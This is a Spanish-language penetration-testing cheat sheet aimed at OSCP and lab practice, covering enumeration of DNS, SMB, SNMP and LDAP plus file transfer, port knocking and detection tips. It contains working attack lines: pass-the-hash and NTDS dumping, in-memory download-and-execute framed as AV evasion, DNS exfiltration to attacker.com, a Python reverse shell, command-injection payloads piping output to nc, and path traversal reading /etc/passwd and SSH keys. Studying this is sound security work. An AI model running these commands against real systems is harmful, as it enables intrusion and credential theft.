Enumeración de Redes y Servicios - Guía Completa
🌐 DNS - Puerto 53
¿Qué es DNS?
El Domain Name System (DNS) traduce nombres de dominio a direcciones IP. Es crítico enumerarlo porque puede revelar:
- Subdominios ocultos
- Direcciones IP internas
- Información de infraestructura
- Topología de red
Enumeración Básica con nslookup
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Iniciar nslookup en modo interactivo
nslookup
# Establecer servidor DNS objetivo
> server 10.129.227.211
Default server: 10.129.227.211
Address: 10.129.227.211#53
# Consulta inversa (PTR record)
> 10.129.227.211
211.227.129.10.in-addr.arpa name = ns1.cronos.htb.
# Salir
> exit
|
Enumeración con dig
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Consultar registros NS (Name Servers)
dig @10.129.227.211 cronos.htb ns
# Consultar registros MX (Mail Exchange)
dig @10.129.227.211 cronos.htb mx
# Consultar registros A (IPv4)
dig @10.129.227.211 cronos.htb a
# Consultar registros AAAA (IPv6)
dig @10.129.227.211 cronos.htb aaaa
# Consultar TODOS los registros
dig @10.129.227.211 cronos.htb any
|
Zone Transfer Attack (AXFR)
¿Qué es? Un Zone Transfer es una operación donde un servidor DNS transfiere su base de datos completa a otro servidor. Si está mal configurado, permite a atacantes obtener información completa.
1
2
3
4
5
6
7
8
9
10
11
12
13
| # Intentar transferencia de zona
dig @10.129.227.211 cronos.htb axfr
# Con host
host -l cronos.htb 10.10.10.50
# Ejemplo de salida exitosa:
# cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb.
# cronos.htb. 604800 IN NS ns1.cronos.htb.
# cronos.htb. 604800 IN A 10.10.10.13
# admin.cronos.htb. 604800 IN A 10.10.10.13
# ns1.cronos.htb. 604800 IN A 10.10.10.13
# www.cronos.htb. 604800 IN A 10.10.10.13
|
🎯 MITRE ATT&CK: T1590.002 - Gather Victim Network Information: DNS
Enumeración de Subdominios
1
2
3
4
5
6
7
8
9
10
11
| # Fuerza bruta de subdominios con dnsrecon
dnsrecon -d cronos.htb -t brt -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# Con dnsenum
dnsenum --threads 50 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt cronos.htb
# Con gobuster
gobuster dns -d cronos.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50
# Con ffuf (virtual host discovery)
ffuf -u http://cronos.htb -H "Host: FUZZ.cronos.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 1234
|
💡 Tips:
- Siempre agregar dominios encontrados a
/etc/hosts - Usar múltiples wordlists (SecLists tiene excelentes opciones)
- Probar tanto HTTP como HTTPS
🔐 SMB - Puertos 139/445
¿Qué es SMB?
Server Message Block (SMB) es un protocolo para compartir archivos, impresoras y puertos serie en redes Windows. Es un vector de ataque crítico porque:
- Expone información del sistema
- Puede contener credenciales
- Vulnerable a ataques de relay
- Permite movimiento lateral
Enumeración Básica
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # Null session (sin autenticación)
smbmap -H 10.10.10.50
# Con credenciales
smbmap -H 10.10.10.200 -u 'user' -p 'password'
# Listar contenido de un share específico
smbmap -H 10.10.10.200 -u 'user' -p 'password' -r 'share_name'
# Recursivo en carpetas
smbmap -H 10.10.10.200 -u 'user' -p 'password' -r 'share_name/user'
# Descargar archivo
smbmap -H 10.10.10.200 -u 'user' -p 'password' --download 'share_name/folder/file.txt'
# Con hash NTLM (Pass-the-Hash)
smbmap -u itwk04admin -p aad3b435b51404eeaad3b435b51404ee:445414c16b5689513d4ad8234391aacf -H 192.168.227.226 -x 'powershell -command "type C:/Users/itwk04admin/Desktop/flag.txt"'
|
SMBClient (Cliente interactivo)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| # Listar shares disponibles (sin autenticación)
smbclient -N -L //10.10.10.50
# Con autenticación
smbclient --no-pass -L //172.16.110.100
# Conectar a un share específico
smbclient -N //10.10.10.50/Documents
# Con credenciales
smbclient //dominio.com/shared -U usuario%password
# Comandos útiles dentro de smbclient:
smb: \> ls # Listar archivos
smb: \> cd carpeta # Cambiar directorio
smb: \> get archivo # Descargar archivo
smb: \> put archivo # Subir archivo
smb: \> mget * # Descargar múltiples archivos
smb: \> prompt OFF # Desactivar prompts
smb: \> recurse ON # Habilitar recursión
smb: \> mget * # Descargar recursivamente
|
Descargar todo recursivamente:
1
2
3
4
5
| # Sintaxis completa
smbclient '\\server\share' -N -c 'prompt OFF;recurse ON;cd path\to\directory\;lcd ~/path/to/download/;mget *'
# Ejemplo práctico
smbclient '\\10.10.10.50\Public' -U usuario%password -c 'prompt OFF;recurse ON;lcd /tmp/loot;mget *'
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Enumeración completa
enum4linux 10.10.10.50
# Solo usuarios
enum4linux -U 10.10.10.50
# Solo shares
enum4linux -S 10.10.10.50
# Solo políticas
enum4linux -P 10.10.10.50
# Agresivo (todo)
enum4linux -a 10.10.10.50
|
Scripts de Nmap para SMB
1
2
3
4
5
6
7
8
9
10
11
| # Detectar versión y seguridad
nmap --script=smb2-security-mode.nse -p445 10.10.10.5
# Escanear múltiples IPs
nmap --script=smb2-security-mode.nse -iL SMB_IPs.txt -p445
# Buscar vulnerabilidades conocidas
nmap -p 445 10.10.10.50 --script=smb-vuln* -o nmap_smb.txt
# Enumerar shares
nmap --script=smb-enum-shares.nse -p445 10.10.10.50
|
Vulnerabilidades SMB críticas:
- MS17-010 (EternalBlue): RCE en SMBv1
- MS08-067: RCE crítico en Windows XP/2003
- SMB Signing Disabled: Permite NTLM Relay
CrackMapExec (CME) - Herramienta Moderna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| # Enumerar sin autenticación
crackmapexec smb 10.10.10.200 -u 'guest' -p ''
# Con credenciales
crackmapexec smb 10.10.10.200 -u 'user' -p 'password'
# Enumerar contenido de shares (spider)
crackmapexec smb 10.10.10.200 -u 'usuario' -p 'password' --spider sharedfolder --regex .
# Enumerar usuarios por RID bruteforce
crackmapexec smb 10.129.204.177 -u '' -p '' --rid-brute 10000
# Enumerar usuarios autenticado
crackmapexec smb 10.129.227.255 -u user -p 'password' -d dominio.com --users
# Descargar archivos
crackmapexec smb 172.16.236.82 -u yoshi -p 'Mushroom!' -d medtech.com --get-file \\Users\\yoshi\\passwords.txt ./passwords.txt
# Obtener SAM (requiere admin)
crackmapexec smb 192.168.1.100 -u 'admin' -p 'password' --sam
# Obtener NTDS.dit (Domain Controller)
crackmapexec smb 192.168.1.100 -u 'admin' -p 'password' --ntds vss
# Habilitar RDP remotamente
crackmapexec smb 10.9.20.13 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:7574cbf9d92c39d1d4dccd7b89301d2f' -x 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
|
🔥 Tip: CrackMapExec es extremadamente potente para enumeración de Active Directory.
Acceso gráfico a SMB
1
2
3
4
5
6
7
8
| # Desde terminal Linux
thunar smb://10.10.10.50
# Desde Nautilus
nautilus smb://10.10.10.50/share
# Montar share localmente
sudo mount -t cifs //10.10.10.50/share /mnt/smb -o username=user,password=pass
|
Compartir archivos con impacket-smbserver
1
2
3
4
5
6
7
8
9
| # Compartir carpeta actual (sin autenticación)
sudo impacket-smbserver smbFolder $(pwd) -smb2support
# Con autenticación (más seguro)
sudo impacket-smbserver smbFolder $(pwd) -username andy -password Andy12345 -smb2support
# En máquina Windows, conectar con:
# net use z: \\10.10.14.87\smbFolder /user:andy Andy12345
# copy file.txt z:\
|
⚠️ Advertencia OpSec: impacket-smbserver es muy ruidoso y fácil de detectar. Solo para entornos de laboratorio.
📡 SNMP - Puerto 161/UDP
¿Qué es SNMP?
Simple Network Management Protocol (SNMP) se usa para monitorear y administrar dispositivos de red. Es valioso porque puede revelar:
- Información de hardware y software
- Procesos en ejecución
- Usuarios del sistema
- Configuraciones de red
Enumeración SNMP
SNMPWalk
1
2
3
4
5
6
7
8
| # Community string por defecto "public"
snmpwalk -c public -v1 -t 10 192.168.245.156
# Versión 2c (más común)
snmpwalk -v 2c -c public 10.129.211.32
# Buscar cadenas específicas (ejemplo: passwords)
snmpbulkwalk -c public -v2c 192.168.245.156 . | grep -i passwd
|
Community strings comunes:
- public (lectura)
- private (lectura/escritura)
- manager
- admin
SNMP-Check
1
2
| # Enumeración completa automática
snmp-check 10.129.211.32 -p 161 -c public
|
1
2
| # Fuerza bruta de community strings
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.10.10.50
|
OIDs Útiles
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # Información del sistema
snmpwalk -v2c -c public 10.10.10.50 1.3.6.1.2.1.1.1.0
# Procesos en ejecución
snmpwalk -v2c -c public 10.10.10.50 1.3.6.1.2.1.25.4.2.1.2
# Usuarios del sistema
snmpwalk -v2c -c public 10.10.10.50 1.3.6.1.4.1.77.1.2.25
# Puertos TCP abiertos
snmpwalk -v2c -c public 10.10.10.50 1.3.6.1.2.1.6.13.1.3
# Software instalado
snmpwalk -v2c -c public 10.10.10.50 1.3.6.1.2.1.25.6.3.1.2
# Cuentas de usuario
snmpwalk -v 1 -c public 10.129.211.32 NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
🎯 MITRE ATT&CK: T1602.002 - Data from Configuration Repository: Network Device Configuration Dump
Nmap SNMP Scripts
1
2
3
4
5
6
7
8
9
10
11
| # Enumeración básica
nmap -sU -p161 --script=snmp-info 10.10.10.50
# Brute force de community strings
nmap -sU -p161 --script=snmp-brute 10.10.10.50
# Información de procesos
nmap -sU -p161 --script=snmp-processes 10.10.10.50
# Interfaces de red
nmap -sU -p161 --script=snmp-interfaces 10.10.10.50
|
🔎 LDAP - Puertos 389/636
¿Qué es LDAP?
Lightweight Directory Access Protocol (LDAP) es el protocolo para acceder a Active Directory. Es crítico porque puede revelar:
- Usuarios y grupos del dominio
- Estructura organizacional
- Políticas de contraseñas
- Información de equipos
Enumeración sin Autenticación
1
2
3
4
5
6
7
8
| # Búsqueda básica con ldapsearch
ldapsearch -x -H ldap://10.129.117.116 -b "DC=cascade,DC=local"
# Puerto no estándar
ldapsearch -x -H ldap://10.129.117.116 -p 389 -b "DC=cascade,DC=local"
# Especificar base DN automáticamente
ldapsearch -x -H ldap://10.10.10.50 -s base namingcontexts
|
Enumeración Autenticada
1
2
3
4
5
6
7
8
9
10
11
| # Con credenciales
ldapsearch -x -H ldap://10.10.10.200 -D "usuario@dominio.local" -w "password" -b "DC=dominio,DC=local"
# Buscar todos los usuarios
ldapsearch -x -H ldap://10.10.10.200 -D "usuario@dominio.local" -w "password" -b "DC=dominio,DC=local" "(objectClass=user)"
# Buscar grupos
ldapsearch -x -H ldap://10.10.10.200 -D "usuario@dominio.local" -w "password" -b "DC=dominio,DC=local" "(objectClass=group)"
# Buscar contraseñas LAPS
ldapsearch -x -H ldap://10.10.11.158 -b "DC=dominio,DC=local" -D usuario@dominio.local -w "password" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
|
LDAPDomainDump (Genera reportes HTML)
1
2
3
4
5
6
7
8
9
10
11
12
| # Dump completo con autenticación
ldapdomaindump -u 'dominio.local\user' -p 'password' 10.10.10.200
# Con LDAPS (puerto 636, cifrado)
ldapdomaindump -u 'dominio.local\user' -p 'password' ldaps://10.10.10.200
# Resultado: Genera archivos HTML con información detallada
# - domain_computers.html
# - domain_groups.html
# - domain_users.html
# - domain_policy.html
# - domain_trusts.html
|
Windapsearch (Especializado en AD)
1
2
3
4
5
6
7
8
9
10
11
| # Enumerar usuarios sin autenticación
python ./windapsearch.py -d htb.local --dc-ip 10.129.95.210 -U
# Enumerar grupos
python ./windapsearch.py -d htb.local --dc-ip 10.129.95.210 -G
# Enumerar computadoras
python ./windapsearch.py -d htb.local --dc-ip 10.129.95.210 --computers
# Con autenticación
python ./windapsearch.py -d htb.local --dc-ip 10.129.95.210 -u usuario -p password -U
|
💡 Tips:
- Siempre intentar primero sin autenticación (null bind)
- Ldapdomaindump genera reportes HTML excelentes para análisis
- Guardar toda la salida de ldapsearch (puede ser muy extensa)
📤 Transferencia de Archivos
Linux → Windows
Método 1: Certutil (CMD)
1
2
3
4
5
6
7
| # Desde Windows CMD
certutil.exe -f -urlcache -split http://10.10.16.14/exploit.exe exploit.exe
# Flags:
# -f: Forzar sobrescritura
# -urlcache: Usar caché de URL
# -split: Dividir si es necesario
|
💡 Ventaja: Presente en casi todas las versiones de Windows.
Método 2: PowerShell
1
2
3
4
5
6
7
8
9
10
11
| # Invoke-WebRequest (PowerShell 3.0+)
IWR -URI http://10.10.10.50/nc.exe -OutFile C:\Windows\Temp\nc.exe
# Forma larga
Invoke-WebRequest http://10.10.10.50/nc.exe -OutFile C:\Windows\Temp\nc.exe
# Wget alias
powershell wget 10.10.14.7/nc.exe -o nc.exe
# Descargar y ejecutar directamente (sin tocar disco)
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.33/SharpHound.ps1')
|
⚠️ Evasión de AV: IEX (Invoke-Expression) ejecuta en memoria, evitando detección basada en archivos.
Método 3: BitsTransfer (Más sigiloso)
1
2
3
4
5
6
| # Usar BITS (Background Intelligent Transfer Service)
Import-Module BitsTransfer
Start-BitsTransfer -Source http://10.10.10.50/file.exe -Destination C:\Temp\file.exe
# O en una línea
powershell -c "Import-Module BitsTransfer; Start-BitsTransfer -Source http://10.10.10.50/file.exe -Destination C:\Temp\file.exe"
|
🎯 MITRE ATT&CK: T1105 - Ingress Tool Transfer
Windows → Linux
Método 1: SCP (requiere SSH)
1
2
3
4
5
| # Desde Windows con OpenSSH
scp ruta\archivo.exe usuario@10.10.14.87:/tmp/
# Desde Linux hacia Windows
scp /tmp/file.txt usuario@192.168.1.100:C:\Temp\
|
Método 2: SMB con impacket-smbserver
1
2
3
4
5
6
7
| # En Kali
sudo impacket-smbserver smbFolder $(pwd) -username andy -password Andy12345 -smb2support
# En Windows
net use z: \\10.10.14.87\smbFolder /user:andy Andy12345
copy C:\sensitive\file.txt z:\
net use z: /delete
|
Método 3: smbclient (Linux → Windows SMB)
1
2
3
4
5
| # Descargar archivo de Windows
smbclient '//192.168.223.194/Desktop' -c 'lcd .; get archivo.txt' -U user%pass
# Con smbget
smbget smb://192.168.1.100/share/file.txt -U "john@example.com%myPassword"
|
Linux → Linux
Método 1: NetCat
1
2
3
4
5
6
7
8
| # Máquina receptora (Kali)
nc -nlvp 1234 > archivo.zip
# Máquina emisora (target)
nc -w 3 10.10.14.87 1234 < archivo.zip
# Alternativa con /dev/tcp (si nc no está disponible)
cat < archivo.zip > /dev/tcp/10.10.14.87/1234
|
Método 2: Python HTTP Server
1
2
3
4
5
6
7
8
9
| # En máquina con el archivo
python3 -m http.server 8000
# O especificando directorio
python3 -m http.server 80 -d ~/tools
# En máquina receptora
wget http://10.10.10.50:8000/archivo
curl -O http://10.10.10.50:8000/archivo
|
Método 3: FTP (pyftpdlib)
1
2
3
4
5
6
| # Levantar servidor FTP anónimo con permisos de escritura
sudo python -m pyftpdlib -p 69 -w
# Desde target
ftp 10.10.14.87 69
put archivo.txt
|
Método 4: SCP
1
2
3
4
5
| # Descargar desde target a local
scp user@10.10.10.50:/home/user/archivo.txt /tmp/
# Subir desde local a target
scp /tmp/exploit.sh user@10.10.10.50:/tmp/
|
Exfiltración de Datos
Método 1: Base64 encode para copiar/pegar
1
2
3
4
5
| # En target
base64 -w0 archivo.zip
# Copiar output y en local
echo "BASE64STRING" | base64 -d > archivo.zip
|
Método 2: Usando DNS (exfiltración sigilosa)
1
2
| # Dividir archivo y enviar por DNS queries
xxd -p archivo.txt | while read line; do dig $line.attacker.com; done
|
Método 3: ICMP tunneling
1
2
| # Con herramientas como ptunnel o icmpsh
# Útil cuando solo ICMP está permitido
|
🚪 Port Knocking
¿Qué es Port Knocking?
Técnica de seguridad donde puertos están cerrados hasta que se envía una “secuencia secreta” de conexiones a puertos específicos.
Ejemplo de configuración knockd.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| [options]
logfile = /var/log/knockd.log
interface = ens160
[openSSH]
sequence = 571, 290, 911
seq_timeout = 5
start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 911,290,571
seq_timeout = 5
start_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
|
Realizar Port Knocking
Con knock (herramienta dedicada)
1
2
3
4
5
6
7
8
| # Instalar knock
sudo apt install knockd
# Ejecutar secuencia
knock 10.129.229.157 571:tcp 290:tcp 911:tcp
# O en formato corto
knock 10.129.229.157 571 290 911
|
Con Nmap
1
2
| # Método manual
for x in 571 290 911; do nmap -Pn --max-retries 0 -p $x 10.10.10.50; done
|
Con NetCat
1
2
| # Secuencia TCP
for port in 571 290 911; do nc -zv 10.10.10.50 $port; done
|
Descubrir Port Knocking
1
2
3
4
5
6
| # Analizar archivo de configuración con Path Traversal
curl -sk --path-as-is "https://192.168.228.245/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/knockd.conf"
# Buscar en archivos locales si tenemos acceso
cat /etc/knockd.conf
cat /etc/default/knockd
|
🔗 Técnicas de Conectividad
Prueba de Conectividad con NetCat
1
2
3
4
5
6
7
8
| # Probar si un puerto acepta conexiones
nc -nv 192.168.1.100 445
# Enviar comando simple
echo "HEAD / HTTP/1.0\r\n\r\n" | nc 192.168.1.100 80
# Banner grabbing
nc -nv 192.168.1.100 22
|
Enviar Reverse Shell a través de GET
1
2
3
4
5
6
7
8
| # En máquina víctima (via RCE web)
; whoami | nc 10.10.14.87 1234
# URL encoded
';whoami|nc+10.10.14.87+1234'
# En Kali
nc -nlvp 1234
|
Enviar script Python vía NetCat
1
2
3
4
5
6
7
8
9
10
11
| # Crear reverse shell python
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.87",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' > shell.py
# Servir con NetCat
nc -nlvp 9001 < shell.py
# En víctima (si tiene Python y nc)
; nc 10.10.14.87 9001 | python
# Listener final
nc -nlvp 4444
|
Bypass de Filtros de Caracteres
1
2
3
4
5
6
7
8
| # Si '/' está bloqueado, usar variable de entorno
; cat+${HOME}etc${HOME}hosts
# El HOME (/) se expande a '/'
; cat+/etc/hosts
# Listar variables
; env | nc 10.10.14.87 1234
|
TCPDUMP para Verificar Conectividad
1
2
3
4
5
6
7
8
9
10
| # Escuchar ICMP en tun0
sudo tcpdump -ni tun0 icmp
# Desde target, hacer ping
ping -c 1 10.10.14.87
# Útil para:
# - Verificar conectividad desde target
# - Probar inyecciones SQL con xp_cmdshell
# - Confirmar RCE ciego
|
🔍 Path Traversal en Servidores Apache/Linux
Técnica de Encoding de Path
1
2
3
4
5
6
7
8
9
| # Leer archivos con path traversal
curl -sk --path-as-is "https://192.168.228.245/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
# Claves SSH privadas
curl -sk --path-as-is "https://192.168.228.245/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/home/usuario/.ssh/id_rsa"
# Variantes de claves SSH
curl -sk --path-as-is "https://192.168.228.245/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/home/usuario/.ssh/id_ecdsa"
curl -sk --path-as-is "https://192.168.228.245/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/home/usuario/.ssh/id_dsa"
|
Rutas Interesantes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| # Sistema
/etc/passwd
/etc/shadow (si tenemos permisos)
/etc/os-release
/etc/issue
/etc/hostname
# Configuraciones
/etc/knockd.conf
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/root/.bash_history
/home/user/.bash_history
# Procesos y red
/proc/net/tcp
/proc/net/fib_trie
/proc/sched_debug
/proc/self/environ
|
📊 Herramientas de Auditoría
Enum4Linux-ng (Versión mejorada)
1
2
3
4
5
6
7
| # Instalación
git clone https://github.com/cddmp/enum4linux-ng
cd enum4linux-ng
pip3 install -r requirements.txt
# Uso
python3 enum4linux-ng.py 10.10.10.50 -A
|
Impacket Suite (Imprescindible)
1
2
3
4
5
| # Lookupsid (Enumerar SIDs)
impacket-lookupsid dominio.com/usuario:'password'@dominio.com
# Filtrar para crear lista de usuarios
impacket-lookupsid dominio.com/usuario:'password'@dominio.com | grep SidTypeUser | cut -d' ' -f 2 | cut -d'\' -f 2 | tee users.txt
|
🛡️ Contramedidas y Detección
Detección de Enumeración SMB
Indicadores:
- Múltiples intentos de autenticación fallidos
- Enumeración de shares en corto tiempo
- Acceso a shares administrativos (ADMIN$, C$, IPC$)
- Consultas RPC excesivas
Logs a monitorear:
1
2
3
4
5
| # Event IDs importantes en Windows
4624 - Inicio de sesión exitoso
4625 - Inicio de sesión fallido
5140 - Share de red accedido
5142 - Share de red modificado
|
Detección de SNMP Enumeration
Indicadores:
- Múltiples solicitudes SNMP GetNextRequest
- Consultas a OIDs sensibles
- Brute force de community strings
Contramedidas:
- Cambiar community strings por defecto
- Usar SNMPv3 con autenticación
- Filtrar SNMP solo a IPs autorizadas
- Deshabilitar SNMP si no se usa
Detección de LDAP Enumeration
Indicadores:
- Consultas LDAP anónimas (null bind)
- Consultas masivas de objectClass=user
- Extracción completa del directorio
Contramedidas:
- Deshabilitar LDAP anónimo
- Implementar rate limiting
- Usar LDAPS (puerto 636) con certificados
- Monitorear Event ID 2889 (ldap over SSL)
🎓 Tips para OSCP
Checklist de Enumeración
- Escanear todos los puertos TCP
- Escanear top 100 puertos UDP
- Enumerar cada servicio encontrado
- Buscar versiones vulnerables (searchsploit)
- Probar credenciales por defecto
- Buscar información en Google sobre servicios
- Documentar TODO (screenshots, comandos, resultados)
Comandos Rápidos
1
2
3
4
5
6
7
8
9
10
| # Escaneo completo en una línea
sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.x -oG allPorts && \
PORTS=$(grep -oP '\d+/open' allPorts | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//') && \
sudo nmap -sCV -A -p$PORTS 10.10.10.x -oA targeted
# SMB Enumeration rápida
enum4linux -a 10.10.10.x | tee enum4linux.txt
# Web fuzzing rápido
gobuster dir -u http://10.10.10.x -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,txt,html
|
📚 Referencias
Herramientas
Documentación
Wordlists
Última actualización: 2025-01-10 Autor: alorente Licencia: Creative Commons BY-NC-SA 4.0